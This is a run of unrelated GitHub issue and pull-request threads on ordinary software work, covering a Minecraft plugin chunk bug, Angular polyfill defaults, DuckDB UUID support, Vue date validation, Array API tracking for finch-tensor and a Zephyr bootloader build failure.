This server is running CraftBukkit version git-Spigot-e4d4710-e1ebe52 (MC: 1.8.8) (Implementing API version 1.8.8-R0.1-SNAPSHOT)
What plugins are you using? Type /plugins
Plugins (6): ViaVersion, RemoteToolkitPlugin, ProtocolLib, AAC, HolographicDisplays, Hub
Are you using any additional software like BungeeCord? If so, what software and version? (Please list your plugins as well)
BungeeCord (Bungee Remote Toolkit and a custom plugin)
How does this error happen? login? Using an item?
It happens a little while after I join and it usually happens when I look away.
Is there an error in the console? Use pastebin.com. Is there a kick message?
No errors whatsoever. DEFINITELY not an AAC issue. ONLY happens on 1.9.
http://i.imgur.com/W9uOzd1.jpg

Out of curiosity, does it work without AAC? haha
And also what are the chunk co-ordinates of the missing chunk? Are they 0, 0?

From my testing, it always happens a couple blocks away from the spawn. E.g. http://prntscr.com/acnmzr (in an SG map)
It only happens with AAC (From my testing). The question I have is: Why would they even need to update blocks (if they do)

So you state it's not an AAC issue but it only happens with AAC.
I don't own a copy of AAC so I don't know how it works but it may hook into how chunks are sent while hooking into packets.

Closed #72

This issue has been reported without using AAC, reopening

I'm having this problem but without the ACC plugin.

Fixed in next version


Add Stream Support in File SDK

Created a forked IStream implementation for File SDK
All UT passed locally

@slreznit,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot


fix(@angular-devkit/build-angular): correct the default value of es5B…

…rowserSupport
Based on this value.

For 8.0, this should be enabled by default as it will bring in the differential building as well.  The default tsconfig target should also be moved to ES2015 as well once that lands.

Just a recap of the discussion from Slack: the schema value is used as a fallback (default) value for the es5BrowserSupport flag. If folks update Angular CLI to 7.3, they will get the polyfills from polyfills.js (which include es2015) and es2015-polyfills.js, which includes polyfills.js + es2015 polyfills. We do not want this, because the size of both bundles will grow.
Alternatively, we can keep the es2015 bundles in polyfills.js and use only a subset of the bundles in the internal polyfill bundle (currently called es2015-polyfills.js), but this would introduce additional complexity.


UUID type support

Looks like DuckDB supports UUIDs: https://duckdb.org/docs/sql/data_types/overview.html
It'd be rad if this worked:
user> (require '[tmducken.duckdb :as duckdb])
nil
user> (duckdb/initialize!)
Sep 07, 2023 10:15:27 AM clojure.tools.logging$eval9329$fn__9332 invoke
INFO: Attempting to load duckdb from "./binaries/libduckdb.so"
true
user> (require '[tech.v3.dataset :as ds])
nil
user> (def ds (ds/->dataset {"a" [0 0] "b" [(random-uuid) (random-uuid)]}))
#'user/ds
user> (def db (duckdb/open-db))
#'user/db
user> (def conn (duckdb/connect db))
#'user/conn
user> (duckdb/create-table! conn ds)
Execution error at tech.v3.dataset.sql/default-sql-datatype (sql.clj:172).
Failed to find default sql datatype for :uuid

Judging from the error, maybe this would get us closer to other things working in Postgres as well?

Sure - I think postgres supports UUIDs and I may have already added that - there is a database-specific extension mechanism to unify funky per-database types such as UUIDs.

Done - release 12 currently.

https://github.com/techascent/tmducken/commit/07e6e57b157754906c333fc747a6bd0d91683953


Start and End Date validation

I have a bunch of models that have start and end date properties and I need to validate:

start date < end date
end date > start date

also sometimes need

start date <= end date
end date >= start date

Do you have any ideas for how to generically handle this?
Is there anyway within a validation rule to access other properties of the model being validated?

Hello, in that case, the only way to do it is using the Custom validatior so you can create your own function to validate. The function is bound to the Vue instance, so just using $this inside the function you should be able to reach the model.
Regards

Thanks for the reply,
It's been a while since I worked with VUE so I might be doing something wrong; within my custom validation function I don't see any $this object that is the model being validated.

After some digging around in the objects I came up with this.  Please let me know if I'm going in a bad direction, or if you have a better way.  I'm trying to keep the actual validation method as generic as possible, so I pass in the names from the rules json.
  startDate: {
    field: 'Start Date',
    required: true,
    type: 'date',
    checkDate: validators.checkDateLtDate('startDate', 'endDate')
  },

export function checkDateLtDate (startDateName: string, endDateName: string) {
  return function (value: Date, $this: any) {
    let startDateValue = $this.$parent.$data[startDateName]
    let endDateValue = $this.$parent.$data[endDateName]
    let startDateDisplayName = $this.$parent.$rules[startDateName].field
    let endDateDisplayhName = $this.$parent.$rules[endDateName].field
    return moment(startDateValue).isBefore(endDateValue, 'day') ? true : `${startDateDisplayName} must be before ${endDateDisplayhName}`
  }
}

Now I have a related question.  How can I force a the startDate to re-validate when the endDate changes?  If I change startDate to be after endDate (invalid) and then update the endDate to be after the startDate so they should both be valid now, the UI still shows the startDate as being invalid because it hasn't re-validated.

Sorry, yesterday I was busy at work, I will try get up to date and answer you as soon as posible.
Regards.

First of all sorry, I mistakenly told you $this when I meant just this.
As you can see in you debugging screenshot, you have all the vue instance in it, so like I said you can access all the data using this.ANYVARNAME.
Your function does not even need to receive the first parameter because you will use the data directly from the vue instance, and the second parameter is just the object DataPath which you don't need.
So what you really need is something like:
export function checkDateLtDate() {
    let startDateValue = this.startDateValue // Not sure of the names of this vars in your data
    let endDateValue = this.endDateValue // Not sure of the names of this vars in your data
    let startDateDisplayName = this.startDateName // Not sure of the names of this vars in your data
    let endDateDisplayhName = this.endDateName // Not sure of the names of this vars in your data
    return moment(startDateValue).isBefore(endDateValue, 'day') ? true : `${startDateDisplayName} must be before ${endDateDisplayhName}`
}

I'm not 100% sure without seeing the whole component.
And about the to trigger the startDate revalidation when endDate changes, you can use the links functionality, or just use a watcher to detect when the endDate changes and runs this:
    this.$vd.startDate.$validate(true)

The parameter passed to true is to force the revalidation, because it is cached as the value didn't change it wouldn't really notice,  so that way we force it to check all rules again.
Hope that this helps you, and sorry again for the late response.
Cheers!

I ended up putting a watch on the entire model and then running all the validation
  @Watch('company', {deep: true})
  onCompanyChanged (value: any, oldValue: any) {
    this.$vd.company.$validate(true)
  }

Thanks


New audio mixing and volume control

This patch simplifies the audio mixer and
re-adds the volume control logic.
Volume for the WonderTANG PSG, SCC+ and OPLL
can be independently controlled using a software
knob with 7 levels (0=no audio, 1-7=low to high).
The SMRAM.COM tool can be used to set the different audio sources volume levels (type SMRAM.COM /? for help).

Fixed volume level help and rebased.

This change introduces a noticeable delay between the MSX internal PSG and the WonderTANG PSG, so a "reverb/echo" effect can be heard. I discard it.


Misc

No squashing when we merge this PR, will leave these as individual commits.  The commit that adds the asserts in the motor class will catch issues like #393

The fix for #390 is also in here

Can you add the issue numbers to the individual commit messages (or, even better, fixes annotations)?

Hmmm CI is not happy about fake-sys....will dig some this evening after work

Hmmm CI is not happy about fake-sys....will dig some this evening after work

For this to work board_info_dir needs to be configurable, and not a hard-coded path here:
https://github.com/rhempel/ev3dev-lang-python/blob/aab7a1cd6b21851ed3aa46e4f1ce00feed22d717/ev3dev/__init__.py#L43-L51
Similar to what is done inside Device:
https://github.com/rhempel/ev3dev-lang-python/blob/aab7a1cd6b21851ed3aa46e4f1ce00feed22d717/ev3dev/__init__.py#L123-L128
Then tests may change the root to point to fake-sys as it is done here:
https://github.com/rhempel/ev3dev-lang-python/blob/aab7a1cd6b21851ed3aa46e4f1ce00feed22d717/tests/api_tests.py#L16

@ddemidov any idea what is causing the CI
The command "eval git submodule update --init --recursive " failed. Retrying, 2 of 3.

failure?

@dwalton76 I think the submodule in this repo currently points to a fork of fake-sys instead of the original. Not sure why.

@WasabiFan I reverted my fake-sys change and will tackle it via a different PR.  Our fake-sys is pointing at https://github.com/rhempel/ev3dev-lang-fake-sys/tree/master which is a fork of https://github.com/ddemidov/ev3dev-lang-fake-sys, we want Denis's.


Tracking issue: Add Array API standard support

Hi @willow-ahrens @hameerabbasi,
This issue is meant to track progress of implementing Array API standard for finch-tensor.
I thought that we could try adding short notes to bullet-points, saying which Finch.jl functions should be called to implement given entry. I think we already had some ideas during one of our first calls.
Array API: https://data-apis.org/array-api/latest/index.html
Backlog
main namespace

[x] astype - https://github.com/willow-ahrens/finch-tensor/pull/15 - eager
[x] element-wise ops (add, multiply, cos, ...) - https://github.com/willow-ahrens/finch-tensor/pull/17 (partially...)
[x] reductions (xp.prod, xp.sum) - jl.sum and jl.prod, also just jl.reduce - https://github.com/willow-ahrens/finch-tensor/pull/17
[x] matmul - implemented with finch.tensordot for non-stacked input. Should be rewritten with jl.mul / Finch einsum.
[x] tensordot - finch.tensordot - https://github.com/willow-ahrens/finch-tensor/pull/22
[x] where - jl.broadcast(jl.ifelse, cond, a, b) - https://github.com/willow-ahrens/finch-tensor/pull/30
[ ] argmin/argmax - jl.argmin (bug willow if this isn't implemented already) - eager for now
[ ] take - jl.getindex eager for now
[x] nonzero - this is an eager function, but it is implemented as ffindnz(arr) - https://github.com/willow-ahrens/finch-tensor/pull/30
[x] creation functions: asarray, ones, full, full_like, ... - finch.Tensor constructor, as well as jl.copyto!(arr, jl.broadcasted(Scalar(1)), as well as changing the default of the tensor with Tensor(Dense(Element(1.0))). We may need to distinguish some of these. https://github.com/willow-ahrens/finch-tensor/pull/28, https://github.com/willow-ahrens/finch-tensor/pull/32
[ ] stats functions: max, mean, min, std, var
[ ] set functions: unique_all, unique_counts, unique_inverse, unique_values - eager
[x] all, any
[ ] concat - eager for now
[ ] expand_dims - lazy
[ ] flip -eager for now
[ ] reshape - eager for now
[ ] roll - eager for now
[ ] squeeze - lazy
[ ] stack - eager for now
[ ] argsort/sort - eager
[ ] broadcast_arrays - eager for now
[ ] broadcast_to - eager for now
[x] can_cast/finfo/iinfo/result_type
[x] bitwise ops: bitwise_and/bitwise_left_shift/bitwise_invert/bitwise_or/bitwise_right_shift/bitwise_xor

linalg namespace
(I copied those from the benchmark suite. If something turns out to be unfeasible we can drop it.)

[ ] linalg.vecdot - finch.tensordot
[ ] linalg.vector_norm - finch.norm
[ ] linalg.trace - eager
[ ] linalg.tensordot - implemented in the main namespace. Just needs an alias
[ ] linalg.outer
[ ] linalg.cross - eager for now
[ ] linalg.matrix_transpose - lazy
[ ] linalg.matrix_power - eager (call matmul on sparse matrix until it gets too dense)
[ ] linalg.matrix_norm - for nuc or 2, call external library. For fro, inf, 1, 0, -1, -inf, call jl.norm.
[ ] xp.linalg.diagonal - finch.tensordot(finch.diagmask(), mtx)
[ ] xp.linalg.cholesky - call CHOLMOD or something
[ ] xp.linalg.det - call EIGEN or something
[ ] xp.linalg.eigh - call external library
[ ] xp.linalg.eigvalsh - call external library
[x] xp.linalg.inv - call external library - scipy.sparse.linalg.inv
[ ] xp.linalg.matrix_rank - call external library
[ ] xp.linalg.pinv - call external library

Tensor methods and attributes

[ ] Tensor.to_device() - finch.moveto

miscellaneous

[ ] handling scalars
[ ] benchmarking

I added some methods you can call for most of these! Some of them need to be external library calls

@willow-ahrens thank you - that's exactly what I need!

Don't forget about __array_namespace_info__() function, and the isdtype() and result_type() data type functions 🙂

Thanks! Added a bullet for it.


update with my changes

You generated site looks good :) https://github.com/teampurpler/pixel-to-point-cloud-3d/actions/runs/12100680516?pr=1
You should fix the two things above and the website will first go live after to merge the PR. Let me know if you are unsure how to merge.


Fix sanitycheck

@jhedberg
@dcpleung

posix, cpp, and newlib should not be ignored. Especially cpp and newlib.

Can you pass sanitycheck with these?

posix, cpp, and newlib should not be ignored. Especially cpp and newlib.

Can you pass sanitycheck with these?

Yes, 120 tests built without issue after fixing the __packed in bootloader.

posix, cpp, and newlib should not be ignored. Especially cpp and newlib.

Can you pass sanitycheck with these?

Yes, 120 tests built without issue after fixing the __packed in bootloader.

Just rerun those tests and they are failing. Can you try to run with
$ sanitycheck -p up_squared_adsp

@dcpleung For example running newlib test case:
$ sanitycheck -p up_squared_adsp -t newlib
...
Building initial testcase list...
1 test configurations selected, 710 configurations discarded due to filters.
Adding tasks to the queue...

up_squared_adsp           tests/lib/mem_alloc/libraries.libc.newlib          FAILED: Build failure

	see: sanity-out/up_squared_adsp/tests/lib/mem_alloc/libraries.libc.newlib/build.log
total complete:    1/   1  100%  skipped:    0, failed:    1
0 of 1 tests passed (0.00%), 1 failed, 0 skipped with 0 warnings in 20.51 seconds
In total 722 test cases were executed on 1 out of total 214 platforms (0.47%)
...

etc

posix, cpp, and newlib should not be ignored. Especially cpp and newlib.

Can you pass sanitycheck with these?

Yes, 120 tests built without issue after fixing the __packed in bootloader.

Just rerun those tests and they are failing. Can you try to run with
$ sanitycheck -p up_squared_adsp

Probably something is even more broken now, @jhedberg :
...
boards/xtensa/up_squared_adsp/bootloader/manifest.h:12:10: fatal error: toolchain.h: No such file or directory
   12 | #include <toolchain.h>
      |          ^~~~~~~~~~~~~
...

For my tree here: https://github.com/thesofproject/zephyr/pull/35 I am able to run sanitycheck

@finikorg can you explain this toolchain.h issue to me? Doesn't the bootloader have the normal include/ (in the Zephyr root) in its include path?

@finikorg can you explain this toolchain.h issue to me? Doesn't the bootloader have the normal include/ (in the Zephyr root) in its include path?

Maybe you forgot to include include path to other components?
--- a/boards/xtensa/up_squared_adsp/bootloader/CMakeLists.txt
+++ b/boards/xtensa/up_squared_adsp/bootloader/CMakeLists.txt
@@ -4,11 +4,13 @@

 add_library(base_module base_module.c)
 target_include_directories(base_module PUBLIC
+  ${ZEPHYR_BASE}/include
   ${SOC_DIR}/${ARCH}/${SOC_PATH}/include
   )

 add_library(boot_module boot_module.c)
 target_include_directories(boot_module PUBLIC
+  ${ZEPHYR_BASE}/include
   ${SOC_DIR}/${ARCH}/${SOC_PATH}/include
   )

Maybe you forgot to include include path to other components?

I forgot? 😄 Anyway, thanks for pointing that out. Does it build for you with that change?

Maybe you forgot to include include path to other components?

I forgot? smile Anyway, thanks for pointing that out. Does it build for you with that change?

No, it does not build. Now it includes too much :)
include/toolchain/gcc.h:407:2: error: #error processor architecture not supported
  407 | #error processor architecture not supported
      |  ^~~~~

Maybe you forgot to include include path to other components?

I forgot? smile Anyway, thanks for pointing that out. Does it build for you with that change?

No, it does not build. Now it includes too much :)
include/toolchain/gcc.h:407:2: error: #error processor architecture not supported
  407 | #error processor architecture not supported
      |  ^~~~~

I think it is because we need to include configuration file which defines CONFIG_XTENSA

Closing outdated PR